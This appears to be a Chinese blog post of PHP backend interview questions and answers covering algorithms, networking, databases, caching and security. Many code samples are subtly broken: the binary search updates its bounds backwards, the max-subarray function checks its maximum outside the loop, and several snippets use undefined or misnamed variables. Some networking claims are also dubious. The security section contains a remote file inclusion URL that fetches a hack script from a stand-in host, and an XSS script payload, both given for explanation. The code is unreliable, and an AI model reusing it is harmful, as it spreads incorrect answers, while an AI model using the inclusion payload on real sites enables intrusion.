之前看到一篇文章《八年phper的高階工程師面試之路》,然後最近我也在面試,面了有百度、360、滴滴、小米、微博、58趕集、搜狗、瓜子二手車等公司,最後也進了心儀的公司,面試過程中學到了很多東西,所以也想和大家分享一下,雖然我的工作經驗才3年左右。
注:下面題目的答案只是我思考和查詢資料的結果,並不代表完全準確,有錯誤的地方大家可以指正,有更好的方案可以提出,大家一起討論。
演算法
1.反轉函式的實現
/**
* 反轉陣列
* @param array $arr
* @return array
*/
function reverse($arr)
{
$n = count($arr);
$left = 0;
$right = $n - 1;
while ($left < $right) {
$temp = $arr[$left];
$arr[$left++] = $arr[$right];
$arr[$right--] = $temp;
}
return $arr;
}複製程式碼
2.兩個有序int集合是否有相同元素的最優演算法
/**
* 尋找兩個有序陣列裡相同的元素
* @param array $arr1
* @param array $arr2
* @return array
*/
function find_common($arr1, $arr2)
{
$common = array();
$i = $j = 0;
$count1 = count($arr1);
$count2 = count($arr2);
while ($i < $count1 && $j < $count2) {
if ($arr1[$i] < $arr2[$j]) {
$i++;
} elseif ($arr1[$i] > $arr2[$j]) {
$j++;
} else {
$common[] = $arr[$i];
$i++;
$j++;
}
}
return array_unique($common);
}複製程式碼
3.將一個陣列中的元素隨機(打亂)
/**
* 打亂陣列
* @param array $arr
* @return array
*/
function custom_shuffle($arr)
{
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
$rand_pos = mt_rand(0, $n);
if ($rand_pos != $i) {
$temp = $arr[$i];
$arr[$i] = $arr[$rand_pos];
$arr[$rand_pos] = $temp;
}
}
return $arr;
}複製程式碼
4.給一個有數字和字母的字串,讓連著的數字和字母對應
function number_alphabet($str)
{
$number = preg_split(`/[a-z]+/`, $str, -1, PREG_SPLIT_NO_EMPTY);
$alphabet = preg_split(`/d+/`, $str, -1, PREG_SPLIT_NO_EMPTY);
$n = count($number);
for ($i = 0; $i < $count; $i++) {
echo $number[$i] . `:` . $alphabet[$i] . `</br>`;
}
}
$str = `1a3bb44a2ac`;
number_alphabet($str);//1:a 3:bb 44:a 2:ac複製程式碼
5.求n以內的質數(質數的定義:在大於1的自然數中,除了1和它本身意外,無法被其他自然數整除的數)
思路:
1.(質數篩選定理)n不能夠被不大於根號n的任何質數整除,則n是一個質數
2.除了2的偶數都不是質數
程式碼如下:
/**
* 求n內的質數
* @param int $n
* @return array
*/
function get_prime($n)
{
$prime = array(2);//2為質數
for ($i = 3; $i <= $n; $i += 2) {//偶數不是質數,步長可以加大
$sqrt = intval(sqrt($i));//求根號n
for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇數,當然不能被偶數整除,步長也可以加大。
if ($i % $j == 0) {
break;
}
}
if ($j > $sqrt) {
array_push($prime, $i);
}
}
return $prime;
}
print_r(getPrime(1000));複製程式碼
6.約瑟夫環問題
相關題目:一群猴子排成一圈,按1,2,…,n依次編號。然後從第1只開始數,數到第m只,把它踢出圈,從它後面再開始數, 再數到第m只,在把它踢出去…,如此不停的進行下去, 直到最後只剩下一隻猴子為止,那隻猴子就叫做大王。要求程式設計模擬此過程,輸入m、n, 輸出最後那個大王的編號。
/**
* 獲取大王
* @param int $n
* @param int $m
* @return int
*/
function get_king_mokey($n, $m)
{
$arr = range(1, $n);
$i = 0;
while (count($arr) > 1) {
$i++;
$survice = array_shift($arr);
if ($i % $m != 0) {
array_push($arr, $survice);
}
}
return $arr[0];
}複製程式碼
7.如何快速尋找一個陣列裡最小的1000個數
思路:假設最前面的1000個數為最小的,算出這1000個數中最大的數,然後和第1001個數比較,如果這最大的數比這第1001個數小的話跳過,如果要比這第1001個數大則將兩個數交換位置,並算出新的1000個數裡面的最大數,再和下一個數比較,以此類推。
程式碼如下:
//尋找最小的k個數
//題目描述
//輸入n個整數,輸出其中最小的k個。
/**
* 獲取最小的k個數
* @param array $arr
* @param int $k [description]
* @return array
*/
function get_min_array($arr, $k)
{
$n = count($arr);
$min_array = array();
for ($i = 0; $i < $n; $i++) {
if ($i < $k) {
$min_array[$i] = $arr[$i];
} else {
if ($i == $k) {
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
if ($arr[$i] < $max) {
$min_array[$max_pos] = $arr[$i];
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
}
}
return $min_array;
}
/**
* 獲取最大的位置
* @param array $arr
* @return array
*/
function get_max_pos($arr)
{
$pos = 0;
for ($i = 1; $i < count($arr); $i++) {
if ($arr[$i] > $arr[$pos]) {
$pos = $i;
}
}
return $pos;
}
$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];
$min_array = get_min_array($array, 10);
print_r($min_array);複製程式碼
8.如何在有序的陣列中找到一個數的位置(二分查詢)
程式碼如下:
/**
* 二分查詢
* @param array $array 陣列
* @param int $n 陣列數量
* @param int $value 要尋找的值
* @return int
*/
function binary_search($array, $n, $value)
{
$left = 0;
$right = $n - 1;
while ($left <= $right) {
$mid = intval(($left + $right) / 2);
if ($value > $array[$mid]) {
$right = $mid + 1;
} elseif ($value < $array[$mid]) {
$left = $mid - 1;
} else {
return $mid;
}
}
return -1;
}複製程式碼
9.給定一個有序整數序列,找出絕對值最小的元素
思路:二分查詢
/**
* 獲取絕對值最小的元素
* @param array $arr
* @return int
*/
function get_min_abs_value($arr)
{
//如果符號相同,直接返回
if (is_same_sign($arr[0], $arr[$n - 1])) {
return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
}
//二分查詢
$n = count($arr);
$left = 0;
$right = $n - 1;
while ($left <= $right) {
if ($left + 1 === $right) {
return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
}
$mid = intval(($left + $right) / 2);
if ($arr[$mid] < 0) {
$left = $mid + 1;
} else {
$right = $mid - 1;
}
}
}
/**
* 判斷符號是否相同
* @param int $a
* @param int $b
* @return boolean
*/
function is_same_sign($a, $b)
{
if ($a * $b > 0) {
return true;
} else {
return false;
}
}複製程式碼
10.找出有序陣列中隨機3個數和為0的所有情況
思路:動態規劃
function three_sum($arr)
{
$n = count($arr);
$return = array();
for ($i=0; $i < $n; $i++) {
$left = $i + 1;
$right = $n - 1;
while ($left <= $right) {
$sum = $arr[$i] + $arr[$left] + $arr[$right];
if ($sum < 0) {
$left++;
} elseif ($sum > 0) {
$right--;
} else {
$numbers = $arr[$i] . `,` . $arr[$left] . `,` . $arr[$right];
if (!in_array($numbers, $return)) {
$return[] = $numbers;
}
$left++;
$right--;
}
}
}
return $return;
}
$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));複製程式碼
11.編寫一個PHP函式,求任意n個正負整數裡面最大的連續和,要求演算法時間複雜度儘可能低。
思路:動態規劃
/**
* 獲取最大的連續和
* @param array $arr
* @return int
*/
function max_sum_array($arr)
{
$currSum = 0;
$maxSum = 0;//陣列元素全為負的情況,返回最大數
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
if ($currSum >= 0) {
$currSum += $arr[$i];
} else {
$currSum = $arr[$i];
}
}
if ($currSum > $maxSum) {
$maxSum = $currSum;
}
return $maxSum;
}複製程式碼
計算機網路
1.HTTP中GET與POST的區別,注意最後一條
- GET在瀏覽器回退時是無害的,而POST會再次提交請求。
- GET產生的URL地址可以被Bookmark,而POST不可以。
- GET請求會被瀏覽器主動cache,而POST不會,除非手動設定。
- GET請求只能進行url編碼,而POST支援多種編碼方式。
- GET請求引數會被完整保留在瀏覽器歷史記錄裡,而POST中的引數不會被保留。
- GET請求在URL中傳送的引數是有長度限制的,而POST沒有。
- 對引數的資料型別,GET只接受ASCII字元,而POST沒有限制。
- GET比POST更不安全,因為引數直接暴露在URL上,所以不能用來傳遞敏感資訊。
- GET引數通過URL傳遞,POST放在Request body中。
- GET產生一個TCP資料包,POST產生兩個TCP資料包。
2.為什麼Tcp連線是三次,揮手是四次
在Tcp連線中,服務端的SYN和ACK向客戶端傳送是一次性傳送的,而在斷開連線的過程中,B端向A端傳送的ACK和FIN是分兩次傳送的。因為在B端接收到A端的FIN後,B端可能還有資料要傳輸,所以先傳送ACK,等B端處理完自己的事情後就可以傳送FIN斷開連線了。
3.Cookie存在哪
- 如果設定了過期時間,Cookie存在硬碟裡
- 沒有設定過期時間,Cookie存在記憶體裡
4.COOKIE和SESSION的區別和關係
- COOKIE儲存在客戶端,而SESSION則儲存在伺服器端
- 從安全性來講,SESSION的安全性更高
- 從儲存內容的型別的角度來講,COOKIE只儲存字串(及能夠自動轉換成字串)
- 從儲存內容的大小來看,COOKIE儲存的內容是有限的,比較小,而SESSION基本上沒有這個限制
- 從效能的角度來講,用SESSION的話,對伺服器的壓力會更大一些
- SEEION依賴於COOKIE,但如果禁用COOKIE,也可以通過url傳遞
Linux
1.如何修改檔案為當前使用者只讀
chmod u=r 檔名
2.Linux程式屬性
- 程式:是用pid表示,它的數值是唯一的
- 父程式:用ppid表示
- 啟動程式的使用者:用UID表示
- 啟動程式的使用者所屬的組:用GID表示
- 程式的狀態:執行R,就緒W,休眠S,殭屍Z
3.統計某一天網站的訪問量
awk `{print $1}` /var/log/access.log | sort | uniq | wc -l複製程式碼
推薦篇文章,講awk實際使用的shell在手分析伺服器日誌不愁
Nginx
1.fastcgi通過埠監聽和通過檔案監聽的區別
監聽方式 | 形式 | nginx連結fastcgi方式 |
---|---|---|
埠監聽 | fastcgi_pass 127.0.0.1:9000 | TCP連結 |
檔案監聽 | fastcgi_pass /tmp/php_cgi.sock | Unix domain Socket |
2.nginx的負載均衡實現方式
- 輪詢
- 使用者IP雜湊
- 指定權重
- fair(第三方)
- url_hash(第三方)
Memcache/Redis
1.Redis主從是怎樣同步資料的?(即複製功能)
無論是初次連線還是重新連線,當建立一個從伺服器時,從伺服器都將從主伺服器傳送一個SYNC命令。接到SYNC命令的主伺服器將開始執行BGSAVE,並在儲存操作執行期間,將所有新執行的命令都儲存到一個緩衝區裡面,當BGSAVE執行完畢後,主伺服器將執行儲存操作所得到的.rdb檔案傳送給從伺服器,從伺服器接收這個.rdb檔案,並將檔案中的資料載入到記憶體中。之後主伺服器會以Redis命令協議的格式,將寫命令緩衝區中積累的所有內容都傳送給從伺服器。
2.Memcache快取命中率
快取命中率 = get_hits/cmd_get * 100%
3.Memcache叢集實現
一致性Hash
4.Memcache與Redis的區別
- Memcache
- 該產品本身特別是資料在記憶體裡邊的儲存,如果伺服器突然斷電,則全部資料就會丟失
- 單個key(變數)存放的資料有1M的限制
- 儲存資料的型別都是String字串型別
- 本身沒有持久化功能
- 可以使用多核(多執行緒)
- Redis
- 資料型別比較豐富:String、List、Set、Sortedset、Hash
- 有持久化功能,可以把資料隨時儲存在磁碟上
- 本身有一定的計算功能
- 單個key(變數)存放的資料有1GB的限制
MySQL
1.執行SQL語句:select count(*) from articles 時,MyISAM和InnoDB哪個快
MyISAM快,因為MyISAM本身就記錄了數量,而InnoDB要掃描資料
3.隱式轉換
- 當查詢欄位是INT型別,如果查詢條件為CHAR,將查詢條件轉換為INT,如果是字串前導都是數字將會進行擷取,如果不是轉換為0。
- 當查詢欄位是CHAR/VARCHAR型別,如果查詢條件為INT,將查詢欄位為換為INT再進行比較,可能會造成全表掃描
2.最左字首原則
有一個複合索引:INDEX(`a`, `b`, `c`)
使用方式 | 能否用上索引 |
---|---|
select * from users where a = 1 and b = 2 | 能用上a、b |
select * from users where b = 2 and a = 1 | 能用上a、b(有MySQL查詢優化器) |
select * from users where a = 2 and c = 1 | 能用上a |
select * from users where b = 2 and c = 1 | 不能 |
3.聚簇索引和非聚簇索引的區別
聚簇索引的葉節點就是資料節點,而非聚簇索引的頁節點仍然是索引檢點,並保留一個連結指向對應資料塊。
PHP
1.Session可不可以設定失效時間,比如30分鐘過期
- 設定seesion.cookie_lifetime有30分鐘,並設定session.gc_maxlifetime為30分鐘
- 自己為每一個Session值增加timestamp
- 每次訪問之前, 判斷時間戳
2.PHP程式間通訊的幾種方式
- 訊息佇列
- 訊號量+共享記憶體
- 訊號
- 管道
- socket
3.php類的靜態呼叫和例項化呼叫各自的利弊
靜態方法是類中的一個成員方法,屬於整個類,即使不用建立任何物件也可以直接呼叫!靜態方法效率上要比例項化高,靜態方法的缺點是不自動銷燬,而例項化的則可以做銷燬。
4.類的陣列方式呼叫
ArrayAccess(陣列式訪問)介面
5.用php寫一個函式,獲取一個文字檔案最後n行內容,要求儘可能效率高,並可以跨平臺使用。
function tail($file, $num)
{
$fp = fopen($file,"r");
$pos = -2;
$eof = "";
$head = false; //當總行數小於Num時,判斷是否到第一行了
$lines = array();
while ($num > 0) {
while($eof != PHP_EOL){
if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失敗返回-1
$eof = fgetc($fp);
$pos--;
} else { //當到達第一行,行首時,設定$pos失敗
fseek($fp, 0, SEEK_SET);
$head = true; //到達檔案頭部,開關開啟
break;
}
}
array_unshift($lines, str_replace(PHP_EOL, ``, fgets($fp)));
if ($head) {//這一句,只能放上一句後,因為到檔案頭後,把第一行讀取出來再跳出整個迴圈
break;
}
$eof = "";
$num--;
}
fclose($fp);
return $lines;
}複製程式碼
6.$SERVER[`SERVER_NAME`]和$SERVER[`HTTP_HOST`]的區別
相同點:
當滿足以下三個條件時,兩者會輸出相同資訊。
- 伺服器為80埠
- apache的conf中ServerName設定正確
- HTTP/1.1協議規範
不同點:
- 通常情況:
$_SERVER[“HTTP_HOST”] 在HTTP/1.1協議規範下,會根據客戶端的HTTP請求輸出資訊。
$_SERVER[“SERVER_NAME”] 預設情況下直接輸出apache的配置檔案httpd.conf中的ServerName值。 - 當伺服器為非80埠時:
$_SERVER[“HTTP_HOST”] 會輸出埠號,例如:coffeephp.com:8080
$_SERVER[“SERVER_NAME”] 會直接輸出ServerName值
因此在這種情況下,可以理解為:$_SERVER[`HTTP_HOST`] = $_SERVER[`SERVER_NAME`] : $_SERVER[`SERVER_PORT`] - 當配置檔案httpd.conf中的ServerName與HTTP/1.0請求的域名不一致時:
httpd.conf配置如下:<virtualhost *> ServerName jsyzchen.com ServerAlias blog.jsyzchen.com </virtualhost>複製程式碼
客戶端訪問域名
blog.jsyzchen.com
$_SERVER[“HTTP_HOST”] 輸出blog.jsyzchen.com
$_SERVER[“SERVER_NAME”] 輸出jsyzchen.com
7.開啟php.ini的safe_mode會影響哪些引數
當safe_mode=On時,會出現下面限制:
- 所有輸入輸出函式(例如fopen()、file()和require())的適用會受到限制,只能用於與呼叫這些函式的指令碼有相同擁有者的檔案。例如,假定啟用了安全模式,如果Mary擁有的指令碼呼叫fopen(),嘗試開啟由Jonhn擁有的一個檔案,則將失敗。但是,如果Mary不僅擁有呼叫 fopen()的指令碼,還擁有fopen()所呼叫的檔案,就會成功。
- 如果試圖通過函式popen()、system()或exec()等執行指令碼,只有當指令碼位於safe_mode_exec_dir配置指令指定的目錄才可能。
- HTTP驗證得到進一步加強,因為驗證指令碼用於者的UID劃入驗證領域範圍內。此外,當啟用安全模式時,不會設定PHP_AUTH。
- 如果適用MySQL資料庫伺服器,連結MySQL伺服器所用的使用者名稱必須與呼叫mysql_connect()的檔案擁有者使用者名稱相同。
詳細的解釋可以檢視官網:www.php.net/manual/zh/i…
php safe_mode影響引數
函式名 | 限制 |
---|---|
dbmopen() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
dbase_open() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
filepro() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
filepro_rowcount() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
filepro_retrieve() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
ifx_* sql_safe_mode | 限制, (!= safe mode) |
ingres_* sql_safe_mode | 限制, (!= safe mode) |
mysql_* sql_safe_mode | 限制, (!= safe mode) |
pg_loimport() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
posix_mkfifo() | 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
putenv() | 遵循 ini 設定的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 選項。請參考 putenv() 函式的有關文件。 |
move_uploaded_file() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
chdir() | 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
dl() | 本函式在安全模式下被禁用。 |
backtick operator | 本函式在安全模式下被禁用。 |
shell_exec() | (在功能上和 backticks 函式相同) 本函式在安全模式下被禁用。 |
exec() | 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。 |
system() | 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。 |
passthru() | 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。 |
popen() | 只能在 safe_mode_exec_dir 設定的目錄下進行執行操作。基於某些原因,目前不能在可執行物件的路徑中使用 ..。escapeshellcmd() 將被作用於此函式的引數上。 |
fopen() | 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
mkdir() | 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
rmdir() | 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
rename() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
unlink() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
copy() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (on source and target ) |
chgrp() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
chown() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
chmod() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 另外,不能設定 SUID、SGID 和 sticky bits |
touch() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 |
symlink() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意:僅測試 target) |
link() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意:僅測試 target) |
apache_request_headers() | 在安全模式下,以“authorization”(區分大小寫)開頭的標頭將不會被返回。 |
header() | 在安全模式下,如果設定了 WWW-Authenticate,當前指令碼的 uid 將被新增到該標頭的 realm 部分。 |
PHP_AUTH 變數 | 在安全模式下,變數 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但無論如何,您仍然可以使用 REMOTE_USER 來獲取使用者名稱稱(USER)。(注意:僅 PHP 4.3.0 以後有效) |
highlight_file(), show_source() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意,僅在 4.2.1 版本後有效) |
parse_ini_file() | 檢查被操作的檔案或目錄是否與正在執行的指令碼有相同的 UID(所有者)。 檢查被操作的目錄是否與正在執行的指令碼有相同的 UID(所有者)。 (注意,僅在 4.2.1 版本後有效) |
set_time_limit() | 在安全模式下不起作用。 |
max_execution_time | 在安全模式下不起作用。 |
mail() | 在安全模式下,第五個引數被遮蔽。 |
8.PHP解決多程式同時寫一個檔案的問題
function write($str)
{
$fp = fopen($file, `a`);
do {
usleep(100);
} while (!flock($fp, LOCK_EX));
fwrite($fp, $str . PHP_EOL);
flock($fp, LOCK_UN);
fclose($fp);
}複製程式碼
9.PHP裡的超全域性變數
- $GLOBALS
- $_SERVER
- $_GET
- $_POST
- $_FILES
- $_COOKIE
- $_SESSION
- $_REQUEST
- $_ENV
10.php7新特性
- ?? 運算子(NULL 合併運算子)
- 函式返回值型別宣告
- 標量型別宣告
- use 批量宣告
- define 可以定義常量陣列
- 閉包( Closure)增加了一個 call 方法
詳細的可以見官網:php7-new-features
11.php7卓越效能背後的優化
- 減少記憶體分配次數
- 多使用棧記憶體
- 快取陣列的hash值
- 字串解析成桉樹改為巨集展開
- 使用大塊連續記憶體代替小塊破碎記憶體
詳細的可以參考鳥哥的PPT:PHP7效能之源
12.include($_GET[`p`])的安全隱患
現在任一個黑客現在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
來獲取你的機密資訊,或執行一個PHP指令碼。
如果allow_url_fopen=On,你更是死定了:
試試這個輸入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
現在你的網頁中包含了http://www.youaredoomed.com/phphack.php
的輸出. 黑客可以傳送垃圾郵件,改變密碼,刪除檔案等等。只要你能想得到。
13.列出一些防範SQL隱碼攻擊、XSS攻擊、CSRF攻擊的方法
SQL隱碼攻擊:
- addslashes函式
- mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
- PDO預處理
XSS:htmlspecial函式
CSRF: - 驗證HTTP REFER
- 使用toke進行驗證
14.介面如何安全訪問
jwt或驗證簽名
15.PHP裡有哪些設計模式
- 單例模式
- 工廠模式
- 臉面模式(facade)
- 註冊器模式
- 策略模式
- 原型模式
- 裝飾器模式
更多的可以看PHP設計模式簡介這篇文章
16.驗證ip是否正確
function check_ip($ip)
{
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
} else {
return true;
}
}複製程式碼
17.驗證日期是否合理
function check_datetime($datetime)
{
if (date(`Y-m-d H:i:s`, strtotime($datetime)) === $datetime) {
return true;
} else {
return false;
}
}複製程式碼
18.寫一個正規表示式,過濾JS指令碼(及把script標記及其內容都去掉)
$text = `<script>alert(`XSS`)</script>`;
$pattern = `<script.*>.*</script>/i`;
$text = preg_replace($pattern, ``, $text);複製程式碼
19.下單後30分鐘未支付取消訂單
第一種方案:被動過期+cron,就是使用者檢視的時候去資料庫查有沒有支付+定時清理。
第二種方案:延遲性任務,到時間檢查訂單是否支付成功,如果沒有支付則取消訂單
20.設計一個秒殺系統
思路:用redis的佇列
$ttl = 4;
$random = mt_rand(1,1000).`-`.gettimeofday(true).`-`.mt_rand(1,1000);
$lock = fasle;
while (!$lock) {
$lock = $redis->set(`lock`, $random, array(`nx`, `ex` => $ttl));
}
if ($redis->get(`goods.num`) <= 0) {
echo ("秒殺已經結束");
//刪除鎖
if ($redis->get(`lock`) == $random) {
$redis->del(`lock`);
}
return false;
}
$redis->decr(`goods.num`);
echo ("秒殺成功");
//刪除鎖
if ($redis->get(`lock`) == $random) {
$redis->del(`lock`);
}
return true;複製程式碼
21.請設計一個實現方式,可以給某個ip找到對應的省和市,要求效率竟可能的高
//ip2long,把所有城市的最小和最大Ip錄進去
$redis_key = `ip`;
$redis->zAdd($redis_key, 20, `#bj`);//北京的最小IP加#
$resid->zAdd($redis_key, 30, `bj`);//最大IP
function get_ip_city($ip_address)
{
$ip = ip2long($ip_address);
$redis_key = `ip`;
$city = zRangeByScore($redis_key, $ip, `+inf`, array(`limit` => array(0, 1)));
if ($city) {
if (strpos($city[0], "#") === 0) {
echo `城市不存在!`;
} else {
echo `城市是` . $city[0];
}
} else {
echo `城市不存在!`;
}
}複製程式碼
其他
1.網頁/應用訪問慢突然變慢,如何定位問題
- top、iostat檢視cpu、記憶體及io佔用情況
- 核心、程式引數設定不合理
檢視有沒有報核心錯誤,連線數使用者開啟檔案數這些有沒有達到上限等等 - 鏈路本身慢
是否跨運營商、使用者上下行頻寬不夠、dns解析慢、伺服器內網廣播風暴什麼的 - 程式設計不合理
是否程式本身演算法設計太差,資料庫語句太過複雜或者剛上線了什麼功能引起的 - 其它關聯的程式引起的
如果要訪問資料庫,檢查一下是否資料庫訪問慢 - 是否被攻擊了
檢視伺服器是否被DDos了等等 - 硬體故障
這個一般直接伺服器就掛了,而不是訪問慢
2.如何設計/優化一個訪問量比較大的部落格/論壇
- 減少http請求(比如使用雪碧圖)
- 優化資料庫(正規化、SQL語句、索引、配置、讀寫分離)
- 快取使用(Memcache、Redis)
- 負載均衡
- 動態內容靜態化+CDN
- 禁止外部盜鏈(refer、圖片新增水印)
- 控制大檔案下載
- 使用叢集
3.如何搭建Composer私有庫
使用satis搭建
相關文章介紹:使用satis搭建Composer私有庫
原文連結:3年PHPer的面試總結